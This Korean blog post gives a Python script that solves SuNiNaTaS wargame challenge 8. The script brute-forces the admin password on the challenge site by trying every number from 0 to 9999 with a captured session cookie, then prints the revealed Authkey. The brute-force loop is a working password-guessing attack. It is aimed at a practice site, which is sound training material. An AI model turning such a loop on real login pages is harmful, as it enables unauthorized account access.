300x250
BruteForce 테스트 파이썬코드
* 써니나타스 8번 문제를 풀기 위한 소스코드입니다.
* BruteForce를 통해서 패스워드를 알아내는데 힌트로 주어진 범위가 0~9999까지라서 일일히 대입이 불가능합니다.
* 아래 코드는 IMPEL님 블로그에 나와있는 소스 코드입니다.
* 해당 코드를 수행하면 Authkey 획득 가능합니다.
import requests
URL="http://suninatas.com/Part_one/web08/web08.asp"
cookie={
"ASPSESSIONIDACADBQDS":"IDMBDAJANHEMONKHMEEPAHDF"
}
session1 = requests.Session()
for i in range(10000):
data1 = {
"id":"admin",
"pw":i
}
req = session1.post(URL, cookies=cookie, data=data1)
if(req.text.find("Password Incorrect!") == -1):
index = req.text.find("Authkey")
print("\n\n")
print(req.text[index:index+30])
print("\n\n")
input("Press Any KEY to exit......")
exit(0)
else:
print("Wrong Num: " + str(i))
** requests 모듈의 경우 pip를 통해서 설치를 해주셔야 합니다.
** 위 코드에서 cookie 값은 크롬 확장프로그램 EditThisCookie 로 확인 가능합니다.
반응형
'Python' 카테고리의 다른 글
Python 메일 발송(첨부파일 포함) (0) | 2019.05.21 |
---|---|
파이썬) print함수, input 함수 (0) | 2018.12.10 |
Python) 파이썬 상속 (0) | 2018.10.19 |
파이썬 구구단 출력하기 (0) | 2016.08.08 |
Python - 파이썬(python) 설치 (0) | 2016.07.16 |